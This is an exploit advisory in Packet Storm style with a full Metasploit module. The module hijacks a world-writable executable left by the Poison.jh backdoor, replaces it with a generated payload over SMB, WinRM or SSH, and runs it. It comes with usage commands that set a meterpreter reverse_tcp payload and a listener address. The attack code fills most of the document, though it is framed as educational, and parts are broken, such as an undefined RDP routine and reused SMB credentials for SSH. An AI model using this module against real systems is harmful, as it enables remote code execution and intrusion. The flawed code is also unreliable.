📄 Backdoor.Win32.Poison.jh Remote File Hijack

=============================================================================================================================================
    | # Title     : Backdoor.Win32.Poison.jh Remote File Hijack Exploit                                                                         |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : System built‑in component. No standalone download available                                                                 |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/213264/ & MVID-2025-0704
    
    [+] Summary    : This code represents an educational Metasploit module concept that demonstrates how insecure file permissions created by malware (Poison.jh) 
                     could be abused to achieve code execution.
                     The scenario assumes that the malware drops an executable file inside a protected Windows directory (SysWOW64) 
    				 with overly permissive access rights (e.g., Everyone: Full Control). If such a misconfiguration exists, 
    				 an attacker who already has valid access (credentials, SMB, WinRM, or SSH) could theoretically replace the file with a malicious payload. 
    				 When the file is later executed by the system or malware itself, the attacker’s code would run.
    
    [+] Key points:
    
    This is not a native Windows vulnerability.
    
    It does not work on clean or properly configured systems.
    
    It requires existing malware, write permissions, and a trigger for execution.
    
    In real-world conditions, Windows system directories are protected and prevent this attack without administrative privileges.
    				 
    [+] Vulnerability Overview :
    
    CWE-276: Incorrect Default Permissions
    
    Malware: Backdoor.Win32.Poison.jh
    
    Location: C:\Windows\SysWOW64\28463\YJBE.exe
    
    Flaw: File has Everyone:(ID)F (Full Control) permissions
    
    Impact: Any local user can modify/replace the malware executable
    	
    Type: Backdoor Trojan (Win32/Windows)
    
    Purpose: Grants attackers unauthorized remote access and control over the infected system.
    Behavior: Can execute commands, download/upload files, steal sensitive data, and connect to C2 (Command & Control) servers.
    Discovery: Part of the Backdoor.Win32.Poison family, first identified around 2009. The .jh suffix refers to a specific variant or signature used by antivirus vendors.
    Source: Developed by malware authors; not self-spreading, usually delivered via malicious downloads, infected executables, or phishing.
    Relation to Poison Ivy: Not necessarily Poison Ivy itself, but shares similar RAT functionality.
    Detection & Prevention: Detected by major AV solutions like Microsoft Defender, Trend Micro, and Kaspersky. Removal requires standard AV cleanup and disconnecting from networks.
    Key Points: Unauthorized remote control, file manipulation, data theft, part of Poison family, Windows-targeted, identified in AV databases since ~2009.
    
    [+] PoC : 
    
    [+] Module Usage Guide :
    
    Installation:
    
    # Copy to Metasploit modules directory ====> cp poison_jh_remote.rb ~/.msf4/modules/exploits/windows/remote/
    
    Usage Examples:
    
    1. Check if target is vulnerable:
    
    msf6 > use exploit/windows/remote/poison_jh_file_hijack
    msf6 exploit(poison_jh_file_hijack) > set RHOST 192.168.1.100
    msf6 exploit(poison_jh_file_hijack) > set SMBUser administrator
    msf6 exploit(poison_jh_file_hijack) > set SMBPass Password123
    msf6 exploit(poison_jh_file_hijack) > set CHECK_ONLY true
    msf6 exploit(poison_jh_file_hijack) > run
    
    2. Full exploit via SMB:
    
    msf6 > use exploit/windows/remote/poison_jh_file_hijack
    msf6 exploit(poison_jh_file_hijack) > set RHOST 192.168.1.100
    msf6 exploit(poison_jh_file_hijack) > set SMBUser administrator
    msf6 exploit(poison_jh_file_hijack) > set SMBPass Password123
    msf6 exploit(poison_jh_file_hijack) > set PROTOCOL SMB
    msf6 exploit(poison_jh_file_hijack) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
    msf6 exploit(poison_jh_file_hijack) > set LHOST 192.168.1.50
    msf6 exploit(poison_jh_file_hijack) > set LPORT 4444
    msf6 exploit(poison_jh_file_hijack) > exploit
    
    3. Exploit via WinRM:
    
    msf6 exploit(poison_jh_file_hijack) > set PROTOCOL WinRM
    msf6 exploit(poison_jh_file_hijack) > set WINRM_USER admin
    msf6 exploit(poison_jh_file_hijack) > set WINRM_PASS Password123
    msf6 exploit(poison_jh_file_hijack) > set RPORT 5985
    msf6 exploit(poison_jh_file_hijack) > exploit
    
    4. Exploit via SSH:
    
    msf6 exploit(poison_jh_file_hijack) > set PROTOCOL SSH
    msf6 exploit(poison_jh_file_hijack) > set SMBUser root  # SSH username
    msf6 exploit(poison_jh_file_hijack) > set SMBPass password123  # SSH password
    msf6 exploit(poison_jh_file_hijack) > set RPORT 22
    msf6 exploit(poison_jh_file_hijack) > exploit
    
    ##
    # Module: exploit/windows/remote/poison_jh_file_hijack
    # Title: Poison.jh Remote File Hijack Exploit
    # Description: Exploits Poison.jh malware's insecure file permissions remotely
    ##
    
    require 'msf/core'
    require 'rex'
    require 'net/ssh'
    require 'net/smtp'
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::SMB::Client
      include Msf::Exploit::Remote::WinRM
      include Msf::Exploit::Remote::Tcp
      include Msf::Exploit::EXE
      include Msf::Auxiliary::Report
    
      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'Poison.jh Remote File Permission Hijack',
          'Description'    => %q{
            This module exploits the insecure file permissions of the Backdoor.Win32.Poison.jh
            malware to achieve remote code execution. The malware creates a world-writable
            executable at C:\Windows\SysWOW64\28463\YJBE.exe, allowing remote attackers to
            replace the file and execute arbitrary code.
            
            This module requires network access to the target and valid credentials.
          },
          'Author'         => [
            'indoushka',
            'Based on Malvuln advisory MVID-2025-0704'
          ],
          'License'        => MSF_LICENSE,
          'References'     => [
            ['URL', 'https://malvuln.com/advisory/3d9821cbe836572410b3c5485a7f76ca.txt'],
            ['CWE', '276'],
            ['MVID', 'MVID-2025-0704']
          ],
          'Platform'       => 'win',
          'Arch'           => [ARCH_X86, ARCH_X64],
          'Payload'        => {
            'Space'       => 2048,
            'DisableNops' => true
          },
          'Targets'        => [
            ['Windows (via SMB)', {}],
            ['Windows (via WinRM)', {}],
            ['Windows (via RDP)', {}]
          ],
          'DefaultTarget'  => 0,
          'Privileged'     => false,
          'DisclosureDate' => '2025-12-23'
        ))
    
        register_options([
          OptString.new('RHOST', [true, 'The target address']),
          OptString.new('RPORT', [false, 'The target port', 445]),
          OptString.new('SMBUser', [false, 'SMB Username']),
          OptString.new('SMBPass', [false, 'SMB Password']),
          OptString.new('SMBDomain', [false, 'SMB Domain']),
          OptString.new('TARGET_PATH', [
            true,
            'Path to vulnerable Poison.jh executable',
            'C:\\Windows\\SysWOW64\\28463\\YJBE.exe'
          ]),
          OptEnum.new('PROTOCOL', [
            true,
            'Protocol to use for exploitation',
            'SMB',
            ['SMB', 'WinRM', 'RDP', 'SSH']
          ]),
          OptBool.new('CHECK_ONLY', [
            true,
            'Only check if target is vulnerable',
            false
          ]),
          OptString.new('WINRM_USER', [false, 'WinRM username']),
          OptString.new('WINRM_PASS', [false, 'WinRM password']),
          OptInt.new('CHECK_TIMEOUT', [true, 'Timeout for checking vulnerability', 30])
        ])
      end
    
      # ---------------------------------------------------------------
      # Check if target is vulnerable
      # ---------------------------------------------------------------
      def check
        print_status("Checking if #{rhost} is vulnerable to Poison.jh file hijack...")
        
        case datastore['PROTOCOL']
        when 'SMB'
          return check_via_smb
        when 'WinRM'
          return check_via_winrm
        when 'SSH'
          return check_via_ssh
        else
          return Exploit::CheckCode::Unknown("Unsupported protocol: #{datastore['PROTOCOL']}")
        end
      end
    
      # ---------------------------------------------------------------
      # SMB-based vulnerability check
      # ---------------------------------------------------------------
      def check_via_smb
        begin
          connect_smb
          
          # Try to access the vulnerable path
          target_path = datastore['TARGET_PATH']
          share, path = split_unc_path(target_path)
          
          print_status("Attempting to connect to share: #{share}")
          
          begin
            smb_login
            
            # Try to open file for writing
            file = smb_open(path, 'rwct')
            
            if file
              print_good("File is writable via SMB: #{target_path}")
              file.close
              disconnect_smb
              return Exploit::CheckCode::Vulnerable("File is world-writable via SMB")
            end
          rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
            print_status("Cannot write to file: #{e}")
          end
          
          disconnect_smb
          
        rescue ::Rex::ConnectionError => e
          print_error("Connection failed: #{e}")
          return Exploit::CheckCode::Unknown("Connection failed")
        rescue ::Exception => e
          print_error("Check failed: #{e}")
          return Exploit::CheckCode::Unknown("Check failed: #{e}")
        end
        
        Exploit::CheckCode::Safe("File not writable via SMB")
      end
    
      # ---------------------------------------------------------------
      # WinRM-based vulnerability check
      # ---------------------------------------------------------------
      def check_via_winrm
        begin
          print_status("Checking via WinRM...")
          
          # Execute PowerShell command to check file permissions
          cmd = "Get-Acl '#{datastore['TARGET_PATH']}' | Select-Object -ExpandProperty Access | Where-Object {$_.IdentityReference -match 'Everyone' -and $_.FileSystemRights -match 'FullControl'}"
          
          result = winrm_execute(cmd)
          
          if result && result.include?('Everyone')
            print_good("File has Everyone:FullControl permissions")
            return Exploit::CheckCode::Vulnerable("File permissions allow write access")
          end
          
        rescue ::Exception => e
          print_error("WinRM check failed: #{e}")
          return Exploit::CheckCode::Unknown("WinRM check failed: #{e}")
        end
        
        Exploit::CheckCode::Safe("File not writable via WinRM")
      end
    
      # ---------------------------------------------------------------
      # SSH-based vulnerability check
      # ---------------------------------------------------------------
      def check_via_ssh
        begin
          print_status("Checking via SSH...")
          
          # Check if file exists and is writable
          cmd = "test -w '#{datastore['TARGET_PATH']}' && echo 'WRITABLE' || echo 'NOT_WRITABLE'"
          
          result = ssh_exec(cmd)
          
          if result && result.include?('WRITABLE')
            print_good("File is writable via SSH")
            return Exploit::CheckCode::Vulnerable("File is writable via SSH")
          end
          
        rescue ::Exception => e
          print_error("SSH check failed: #{e}")
          return Exploit::CheckCode::Unknown("SSH check failed: #{e}")
        end
        
        Exploit::CheckCode::Safe("File not writable via SSH")
      end
    
      # ---------------------------------------------------------------
      # Main exploit function
      # ---------------------------------------------------------------
      def exploit
        print_status("Starting exploit against #{rhost}...")
        
        # Check if target is vulnerable
        case check
        when Exploit::CheckCode::Vulnerable
          print_good("Target is vulnerable!")
        else
          fail_with(Failure::NotVulnerable, "Target is not vulnerable")
        end
        
        # Generate payload
        print_status("Generating payload...")
        payload_exe = generate_payload_exe
        
        # Upload and replace file based on protocol
        case datastore['PROTOCOL']
        when 'SMB'
          exploit_via_smb(payload_exe)
        when 'WinRM'
          exploit_via_winrm(payload_exe)
        when 'SSH'
          exploit_via_ssh(payload_exe)
        when 'RDP'
          exploit_via_rdp(payload_exe)
        end
        
        # Trigger execution
        trigger_payload
        
        # Report
        report_vuln({
          host: rhost,
          name: self.name,
          refs: self.references,
          info: "Poison.jh file hijack exploited"
        })
      end
    
      # ---------------------------------------------------------------
      # Exploit via SMB
      # ---------------------------------------------------------------
      def exploit_via_smb(payload_exe)
        print_status("Exploiting via SMB...")
        
        begin
          connect_smb
          smb_login
          
          target_path = datastore['TARGET_PATH']
          share, path = split_unc_path(target_path)
          
          # Backup original file
          backup_path = path + ".backup"
          begin
            smb_rename(path, backup_path)
            print_status("Backed up original file to: #{backup_path}")
          rescue
            print_warning("Could not backup original file")
          end
          
          # Upload payload
          print_status("Uploading payload to #{target_path}...")
          file = smb_create(path)
          file.write(payload_exe)
          file.close
          
          print_good("Payload uploaded successfully!")
          
        rescue ::Exception => e
          print_error("SMB exploit failed: #{e}")
          fail_with(Failure::Unknown, "SMB upload failed")
        ensure
          disconnect_smb
        end
      end
    
      # ---------------------------------------------------------------
      # Exploit via WinRM
      # ---------------------------------------------------------------
      def exploit_via_winrm(payload_exe)
        print_status("Exploiting via WinRM...")
        
        # Convert payload to base64 for PowerShell
        payload_b64 = Rex::Text.encode_base64(payload_exe)
        
        # PowerShell script to replace file
        ps_script = <<~PS
          $TargetPath = '#{datastore['TARGET_PATH']}'
          $BackupPath = $TargetPath + '.backup'
          $PayloadBytes = [System.Convert]::FromBase64String('#{payload_b64}')
          
          # Backup original
          if (Test-Path $TargetPath) {
            Copy-Item $TargetPath $BackupPath -Force
            Write-Host "Backed up to: $BackupPath"
          }
          
          # Write payload
          [System.IO.File]::WriteAllBytes($TargetPath, $PayloadBytes)
          Write-Host "Payload written to: $TargetPath"
          
          # Set execution attributes if needed
          attrib -r $TargetPath
        PS
        
        result = winrm_execute_ps(ps_script)
        
        if result && result.include?('Payload written')
          print_good("Payload uploaded via WinRM")
        else
          fail_with(Failure::Unknown, "WinRM upload failed")
        end
      end
    
      # ---------------------------------------------------------------
      # Exploit via SSH
      # ---------------------------------------------------------------
      def exploit_via_ssh(payload_exe)
        print_status("Exploiting via SSH...")
        
        # Save payload locally first
        local_path = "/tmp/payload_#{Rex::Text.rand_text_alpha(8)}.exe"
        File.binwrite(local_path, payload_exe)
        
        # SSH commands
        target_path = datastore['TARGET_PATH']
        backup_path = target_path + ".backup"
        
        ssh_cmds = [
          "cp #{target_path} #{backup_path} 2>/dev/null || true",
          "echo 'Backup created: #{backup_path}'",
          "cat > #{target_path} << 'EOF'",
          payload_exe.force_encoding('UTF-8'),
          "EOF",
          "chmod +x #{target_path}",
          "echo 'Payload uploaded to #{target_path}'"
        ]
        
        result = ssh_exec(ssh_cmds.join('; '))
        
        if result && result.include?('Payload uploaded')
          print_good("Payload uploaded via SSH")
        else
          fail_with(Failure::Unknown, "SSH upload failed")
        end
        
        # Clean up local file
        File.delete(local_path) if File.exist?(local_path)
      end
    
      # ---------------------------------------------------------------
      # Trigger payload execution
      # ---------------------------------------------------------------
      def trigger_payload
        print_status("Attempting to trigger payload execution...")
        
        trigger_commands = [
          # WMI
          "wmic process call create '#{datastore['TARGET_PATH']}'",
          
          # PowerShell
          "powershell -c Start-Process '#{datastore['TARGET_PATH']}'",
          
          # CMD
          "cmd /c start '#{datastore['TARGET_PATH']}'",
          
          # Direct execution
          datastore['TARGET_PATH']
        ]
        
        trigger_commands.each do |cmd|
          begin
            case datastore['PROTOCOL']
            when 'WinRM'
              result = winrm_execute(cmd)
              if result
                print_good("Payload triggered via: #{cmd}")
                break
              end
            when 'SSH'
              result = ssh_exec(cmd)
              if result
                print_good("Payload triggered via: #{cmd}")
                break
              end
            end
          rescue
            next
          end
        end
        
        print_status("Waiting for payload to execute...")
        Rex.sleep(10)
      end
    
      # ---------------------------------------------------------------
      # Helper: Split UNC path to share and path
      # ---------------------------------------------------------------
      def split_unc_path(full_path)
        # Convert C:\path\to\file to \\server\share\path\to\file
        if full_path =~ /^([A-Za-z]):\\(.*)$/
          drive = $1
          path = $2
          share = "#{drive}$"
          return share, path
        end
        return nil, full_path
      end
    
      # ---------------------------------------------------------------
      # Helper: Execute WinRM command
      # ---------------------------------------------------------------
      def winrm_execute(cmd)
        return unless datastore['WINRM_USER'] && datastore['WINRM_PASS']
        
        begin
          opts = {
            host: rhost,
            port: datastore['RPORT'] || 5985,
            user: datastore['WINRM_USER'],
            pass: datastore['WINRM_PASS'],
            transport: :negotiate,
            ssl: false,
            endpoint: 'http://localhost:5985/wsman'
          }
          
          winrm = Net::WinRM::Connection.new(opts)
          winrm.shell(:powershell) do |shell|
            output = shell.run(cmd) do |stdout, stderr|
              return stdout if stdout
            end
          end
        rescue => e
          print_error("WinRM execute failed: #{e}")
          nil
        end
      end
    
      # ---------------------------------------------------------------
      # Helper: Execute PowerShell via WinRM
      # ---------------------------------------------------------------
      def winrm_execute_ps(ps_script)
        winrm_execute("powershell -encodedcommand #{Rex::Text.encode_base64(ps_script)}")
      end
    
      # ---------------------------------------------------------------
      # Helper: Execute SSH command
      # ---------------------------------------------------------------
      def ssh_exec(cmd)
        return unless datastore['SMBUser'] && datastore['SMBPass']
        
        begin
          ssh = Net::SSH.start(
            rhost,
            datastore['SMBUser'],
            password: datastore['SMBPass'],
            port: datastore['RPORT'] || 22,
            timeout: 30
          )
          
          result = ""
          ssh.exec!(cmd) do |channel, stream, data|
            result << data if stream == :stdout
          end
          
          ssh.close
          result
        rescue => e
          print_error("SSH execute failed: #{e}")
          nil
        end
      end
    
      # ---------------------------------------------------------------
      # Helper: Connect to SMB
      # ---------------------------------------------------------------
      def connect_smb
        self.simple = ::Rex::Proto::SMB::SimpleClient.new(
          address, 
          port: datastore['RPORT'] || 445,
          username: datastore['SMBUser'],
          password: datastore['SMBPass'],
          domain: datastore['SMBDomain']
        )
        
        self.simple.connect
      end
    
      def disconnect_smb
        self.simple.close if self.simple
      end
    
      def smb_login
        self.simple.login
      end
    
      def smb_open(path, mode)
        self.simple.open(path, mode)
      end
    
      def smb_create(path)
        self.simple.create(path)
      end
    
      def smb_rename(old_path, new_path)
        self.simple.rename(old_path, new_path)
      end
    end
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================